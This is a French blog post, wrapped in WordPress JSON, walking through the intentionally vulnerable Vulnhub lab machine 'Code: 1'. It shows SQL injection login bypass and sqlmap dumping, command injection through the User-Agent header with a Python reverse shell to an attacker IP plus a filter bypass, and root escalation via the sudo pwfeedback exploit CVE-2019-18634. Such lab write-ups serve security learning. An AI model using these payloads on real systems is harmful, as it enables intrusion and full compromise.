{"id":392,"date":"2021-06-16T19:03:07","date_gmt":"2021-06-17T00:03:07","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=392"},"modified":"2021-06-16T19:10:39","modified_gmt":"2021-06-17T00:10:39","slug":"obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/","title":{"rendered":"Obtenir le compte de l&#8217;administrateur sur la VM Vulnhub Code: 1 Walkthrough"},"content":{"rendered":"<p>La <a href=\"https:\/\/www.vulnhub.com\/entry\/code-1,665\/\">box linux (Code: 1)<\/a> fonctionne sur Linux Mint et a permis de pratiquer mes habilit\u00e9s pour trouver des failles de vuln\u00e9rabilit\u00e9. <\/p>\n<p>Tout d&#8217;abord, j&#8217;ai fait l&#8217;inventaire des services offerts par cette machine. <\/p>\n<p>nmap -sC -sV -oN 192.168.2.173<\/p>\n<p><pre><code>\n# Nmap 7.91 scan initiated Wed Jun 16 18:18:18 2021 as: nmap -sC -sV -oV 192.168.2.173\nNmap scan report for fsociete.web (192.168.2.173)\nHost is up (0.88s latency).\nNot shown: 996 closed ports\nPORT&nbsp;&nbsp;&nbsp;&nbsp; STATE SERVICE VERSION\n21\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ftp&nbsp;&nbsp;&nbsp;&nbsp; vsftpd 3.0.3\n22\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ssh&nbsp;&nbsp;&nbsp;&nbsp; OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|&nbsp;&nbsp; 2048 77:7a:4f:9a:7a:1c:97:79:b6:f9:06:0c:bf:a7:69:0c (RSA)\n|&nbsp;&nbsp; 256 1c:2a:8e:6f:93:5a:e4:a5:2c:38:aa:6a:6c:c0:0b:88 (ECDSA)\n|_&nbsp;&nbsp;256 bb:5c:1b:d9:c6:26:1d:87:f7:96:56:e5:6e:a5:1f:6e (ED25519)\n80\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: The CodieBruh site\n3306\/tcp open&nbsp;&nbsp;mysql&nbsp;&nbsp; MySQL (unauthorized)\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Wed Jun 16 18:18:28 2021 -- 1 IP address (1 host up) scanned in 10.57 seconds\n<\/code><\/pre><\/p>\n<p>\u00c0 la lecture du rapport de nmap, nous d\u00e9terminons qu&#8217;il y a un service ftp, ssh, apache et mysql accessible via le r\u00e9seau. Il est impossible de se connecter aux services (\u00c0 l&#8217;exception du service public web). Il n&#8217;y a pas beaucoup de pages \u00e0 examiner (hormis la page principale et images.php). Il n&#8217;y a pas d&#8217;arguments \u00e0 la page images.php rendant l&#8217;exploitation imm\u00e9diate difficile. <\/p>\n<p>Poursuivons l&#8217;\u00e9num\u00e9ration du service web avec l&#8217;outil gobuster<\/p>\n<p>gobuster dir -u http:\/\/192.168.2.173 -x php,txt,html -t 50 -b 401,403,404,500 &#8211;wildcard -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt<\/p>\n<p><pre><code>\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; http:\/\/192.168.2.173\/\n[+] Method:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GET\n[+] Threads:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 50\n[+] Wordlist:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:&nbsp;&nbsp; 401,403,404,500\n[+] User Agent:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gobuster\/3.1.0\n[+] Extensions:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php,txt,html\n[+] Timeout:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10s\n===============================================================\n2021\/06\/16 18:29:20 Starting gobuster in directory enumeration mode\n===============================================================\n\/admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Status: 301) [Size: 314] [--&gt; http:\/\/192.168.2.173\/admin\/]\n\/assets&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Status: 301) [Size: 315] [--&gt; http:\/\/192.168.2.173\/assets\/]\n\/images.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Status: 200) [Size: 5698]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\/index.html&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Status: 200) [Size: 10218]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n\/ip.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Status: 200) [Size: 0]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n\/404.html&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Status: 200) [Size: 1351]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n===============================================================\n2021\/06\/16 18:31:18 Finished\n===============================================================\n\n<\/code><\/pre><\/p>\n<p>Nous avons maintenant un nouveau URL : http:\/\/192.168.2.173\/admin<\/p>\n<p>Bien s\u00fbr que c&#8217;est prot\u00e9g\u00e9! et l&#8217;essai d&#8217;identifiants comme admin\/admin ou codie\/codie ne donne rien. <\/p>\n<p>Essayons maintenant si le site est vuln\u00e9rable \u00e0 une faille de s\u00e9curit\u00e9 de type &#8220;Injection SQL&#8221;<\/p>\n<p>Nous pouvons entrer avec admin&#8217; or &#8216;1&#8217;=&#8217;1 et test&#8217; or &#8216;1&#8217;=&#8217;1 comme mot de passe. Nous ne pouvons envoyer d&#8217;images, car nous avons le message : &#8220;You are not an Admin!!!&#8221;<\/p>\n<p> Nous pouvons utiliser sqlmap pour extraire les tables de la base de donn\u00e9es MYSQL.<\/p>\n<p>Pour se faire, nous utilisons le logiciel burp pour r\u00e9cup\u00e9rer la requ\u00eate qui est fait par le navigateur web<\/p>\n<p><pre><code>\nPOST \/admin\/login_check.php HTTP\/1.1\nHost: 192.168.2.173\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 58\nOrigin: http:\/\/192.168.2.173\nConnection: close\nReferer: http:\/\/192.168.2.173\/admin\/admin.php?message=logout\nUpgrade-Insecure-Requests: 1\n\nname=codieburh&amp;pwd=test&amp;login-submit=\n\n<\/code><\/pre><br \/>\nNous enregistrons cette requ\u00eate dans le fichier test.sql<\/p>\n<p>Nus utilisons sqlmap -r test.sql &#8211;dump (nous interrompons quand nous trouvons une base de donn\u00e9es &#8220;users&#8221;<\/p>\n<p>sqlmap -r test.sql &#8211;dump -D users<\/p>\n<p>nous retrouvons le mot de passe pour se connecter <\/p>\n<p>admin\/wiuweuasndfnmasfwerwereirio<\/p>\n<p>Nous r\u00e9essayons d&#8217;envoyer la photo de notre chien, mais nous avons le m\u00eame message d&#8217;erreur que nous ne sommes pas Admin. En y regardant de plus pr\u00e8s, l&#8217;url auquel nous sommes redirig\u00e9s est http:\/\/192.168.2.173\/admin\/dashboard.php?error=Illegal_useragent. Est-ce que ce serait possible d&#8217;utiliser un certain User-Agent (ent\u00eate http)? En regardans dans le code source de la page web pr\u00e8s de &#8220;Use Admin browser to  upload picture&#8221;, nous voyons :<br \/>\n<pre><code>\n&lt;!--Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Admin\/valid Chrome\/88.0.4324.182 Safari\/537.36--&gt;\n<\/code><\/pre><br \/>\nEn interceptant et modifiant le User-Agent dans le logiciel Burp, nous r\u00e9ussissons \u00e0 envoyer la photo de notre animal de compagnie. \u00c0 quoi bon ? Apr\u00e8s aussi une tentative d&#8217;incorporer un shellcode dans un fichier png, nous aboutissons \u00e0 rien! <\/p>\n<p>Essayons de &#8220;fuzzer&#8221; le User-Agent<\/p>\n<p>apr\u00e8s quelques tentatives, nous voyons que le &#8220;User-Agent: ls&#8221; retourne la liste de fichier dans le r\u00e9pertoire du serveur web!<\/p>\n<p>essayons de cr\u00e9er un code qui se connectera sur notre machine (reverse shell)<br \/>\n<pre><code>\nUser-Agent: python -c &#039;import socket,subprocess,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((&quot;192.168.2.119&quot;,2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot;\/bin\/bash&quot;)&#039; \n<\/code><\/pre><\/p>\n<p>mais, cela ne fonctionne pas. Le logiciel filtre possiblement les requ\u00eates. Essayons:<br \/>\n<code>User-Agent: ls; python -c &#039;import socket,subprocess,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((&quot;192.168.2.119&quot;,2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot;\/bin\/bash&quot;)&#039; <\/code><\/p>\n<p>Voil\u00e0! Le logiciel semble filtrer les requ\u00eates commen\u00e7ant par python&#8230; Vous avez maintenant un shell (en supposant que vous \u00e9coutiez avec nc -nlvp 2222 sur votre machine.<\/p>\n<p>L&#8217;utilisation du logiciel linPEAS ne permet d&#8217;augmenter nos privil\u00e8ges ou d&#8217;obtenir le compte de l&#8217;administrateur. En fait, l&#8217;analyse des programmes suid ne permet pas de trouver de failles de s\u00e9curit\u00e9 qui pourrait \u00eatre exploit\u00e9. L&#8217;analyse des fichiers lisibles par www-data ne permet pas de trouver de mots de passe (\u00e0 l&#8217;exception d&#8217;un certain mot de passe pour les backups dans un fichier dans \/var\/www\/.backup_password_for_ftpuser (.ftp.txt). Cela ne m\u00e8ne \u00e0 rien. L&#8217;analyse des services en local avec &#8220;nmap localhost&#8221; r\u00e9v\u00e8le qu&#8217;il y a un service cups. La visite du service sur le port 631 \u00e0 l&#8217;adresse \/admin ne permet pas d&#8217;avoir d&#8217;autres indices. De plus, la version du kernel semblait prometteuse quant \u00e0 la possibilit\u00e9 d&#8217;\u00eatre exploit\u00e9e, mais c&#8217;est une machine 32 bits et je n&#8217;ai pas trouv\u00e9 d&#8217;exploit (et je ne voulais pas me lancer dans l&#8217;\u00e9criture d&#8217;un kernel exploit&#8230;)<\/p>\n<p>Par contre, sudo -l r\u00e9v\u00e8le<\/p>\n<p><pre><code>\nMatching Defaults entries for germain on codie:\n&nbsp;&nbsp;&nbsp;&nbsp;env_reset, mail_badpass,\n&nbsp;&nbsp;&nbsp;&nbsp;secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin,\n&nbsp;&nbsp;&nbsp;&nbsp;pwfeedback\n\nUser germain may run the following commands on codie:\n&nbsp;&nbsp;&nbsp;&nbsp;(root) NOPASSWD: \/usr\/bin\/mint-refresh-cache\n&nbsp;&nbsp;&nbsp;&nbsp;(root) NOPASSWD: \/usr\/lib\/linuxmint\/mintUpdate\/synaptic-workaround.py\n&nbsp;&nbsp;&nbsp;&nbsp;(root) NOPASSWD: \/usr\/lib\/linuxmint\/mintUpdate\/dpkg_lock_check.sh\n<\/code><\/pre><\/p>\n<p>Il n&#8217;est pas possible d&#8217;exploiter quoi que ce soit. Les scripts sont s\u00e9curitaires et les permissions correctement appliqu\u00e9es. Qu&#8217;est-ce que le param\u00e8tre pwfeedback? Apr\u00e8s une recherche sur google, nous trouvons qu&#8217;il exist un exploit pour certaines versions de sudo quand ce param\u00e8tre est utilis\u00e9.<\/p>\n<p><strong>Buffer overflow when pwfeedback is set in sudoers<\/strong><\/p>\n<p>https:\/\/www.sudo.ws\/alerts\/pwfeedback.html<\/p>\n<p>Nous n&#8217;obtenons pas d&#8217;exploits mais en cherchant sur google &#8220;CVE-2019-18634: nous arrivons sur  https:\/\/github.com\/Plazmaz\/CVE-2019-18634.git. Il faut copier le contenu du git dans \/tmp. En lisant l&#8217;exploit, nous avons besoin de socat.<\/p>\n<p>cd \/tmp<br \/>\napt download socat #Faire entr\u00e9e lorsque demand\u00e9 pour mot de passe de sudo<br \/>\ntar zxvvf socat.tar.gz<br \/>\ncd socat<br \/>\ntar xvvf data.tar.xz<br \/>\ntar xvvf control.tar.xz<br \/>\ncp usr\/bin\/socat \/tmp<\/p>\n<p>cd CVE-2019-18634\/src<br \/>\n.\/run.sh #modifier l&#8217;emplacement de socat dans le fichier run.sh<\/p>\n<p>et nous sommes maintenant administrateur!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La box linux (Code: 1) fonctionne sur Linux Mint et a permis de pratiquer mes habilit\u00e9s pour trouver des failles de vuln\u00e9rabilit\u00e9. Tout d&#8217;abord, j&#8217;ai fait l&#8217;inventaire des services offerts par cette machine. nmap -sC -sV -oN 192.168.2.173 # Nmap 7.91 scan initiated Wed Jun 16 18:18:18 2021 as: nmap -sC -sV -oV 192.168.2.173 Nmap scan report for fsociete.web (192.168.2.173) Host is up (0.88s latency). Not shown: 996 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp; STATE SERVICE VERSION 21\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ftp&nbsp;&nbsp;&nbsp;&nbsp; vsftpd 3.0.3 22\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ssh&nbsp;&nbsp;&nbsp;&nbsp; OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |&nbsp;&nbsp; 2048 77:7a:4f:9a:7a:1c:97:79:b6:f9:06:0c:bf:a7:69:0c (RSA) |&nbsp;&nbsp; 256 1c:2a:8e:6f:93:5a:e4:a5:2c:38:aa:6a:6c:c0:0b:88 (ECDSA) |_&nbsp;&nbsp;256 bb:5c:1b:d9:c6:26:1d:87:f7:96:56:e5:6e:a5:1f:6e <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Obtenir le compte de l&#039;administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Obtenir le compte de l&#039;administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"La box linux (Code: 1) fonctionne sur Linux Mint et a permis de pratiquer mes habilit\u00e9s pour trouver des failles de vuln\u00e9rabilit\u00e9. Tout d&#8217;abord, j&#8217;ai fait l&#8217;inventaire des services offerts par cette machine. nmap -sC -sV -oN 192.168.2.173 # Nmap 7.91 scan initiated Wed Jun 16 18:18:18 2021 as: nmap -sC -sV -oV 192.168.2.173 Nmap scan report for fsociete.web (192.168.2.173) Host is up (0.88s latency). Not shown: 996 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp; STATE SERVICE VERSION 21\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ftp&nbsp;&nbsp;&nbsp;&nbsp; vsftpd 3.0.3 22\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ssh&nbsp;&nbsp;&nbsp;&nbsp; OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |&nbsp;&nbsp; 2048 77:7a:4f:9a:7a:1c:97:79:b6:f9:06:0c:bf:a7:69:0c (RSA) |&nbsp;&nbsp; 256 1c:2a:8e:6f:93:5a:e4:a5:2c:38:aa:6a:6c:c0:0b:88 (ECDSA) |_&nbsp;&nbsp;256 bb:5c:1b:d9:c6:26:1d:87:f7:96:56:e5:6e:a5:1f:6e\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-17T00:03:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-06-17T00:10:39+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/\",\"name\":\"Obtenir le compte de l'administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-06-17T00:03:07+00:00\",\"dateModified\":\"2021-06-17T00:10:39+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Obtenir le compte de l&#8217;administrateur sur la VM Vulnhub Code: 1 Walkthrough\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Obtenir le compte de l'administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/","og_locale":"fr_CA","og_type":"article","og_title":"Obtenir le compte de l'administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site","og_description":"La box linux (Code: 1) fonctionne sur Linux Mint et a permis de pratiquer mes habilit\u00e9s pour trouver des failles de vuln\u00e9rabilit\u00e9. Tout d&#8217;abord, j&#8217;ai fait l&#8217;inventaire des services offerts par cette machine. nmap -sC -sV -oN 192.168.2.173 # Nmap 7.91 scan initiated Wed Jun 16 18:18:18 2021 as: nmap -sC -sV -oV 192.168.2.173 Nmap scan report for fsociete.web (192.168.2.173) Host is up (0.88s latency). Not shown: 996 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp; STATE SERVICE VERSION 21\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ftp&nbsp;&nbsp;&nbsp;&nbsp; vsftpd 3.0.3 22\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ssh&nbsp;&nbsp;&nbsp;&nbsp; OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |&nbsp;&nbsp; 2048 77:7a:4f:9a:7a:1c:97:79:b6:f9:06:0c:bf:a7:69:0c (RSA) |&nbsp;&nbsp; 256 1c:2a:8e:6f:93:5a:e4:a5:2c:38:aa:6a:6c:c0:0b:88 (ECDSA) |_&nbsp;&nbsp;256 bb:5c:1b:d9:c6:26:1d:87:f7:96:56:e5:6e:a5:1f:6e","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-06-17T00:03:07+00:00","article_modified_time":"2021-06-17T00:10:39+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/","name":"Obtenir le compte de l'administrateur sur la VM Vulnhub Code: 1 Walkthrough - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-06-17T00:03:07+00:00","dateModified":"2021-06-17T00:10:39+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/16\/obtenir-le-compte-de-ladministrateur-sur-la-vm-vulnhub-code-1\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Obtenir le compte de l&#8217;administrateur sur la VM Vulnhub Code: 1 Walkthrough"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/392"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-js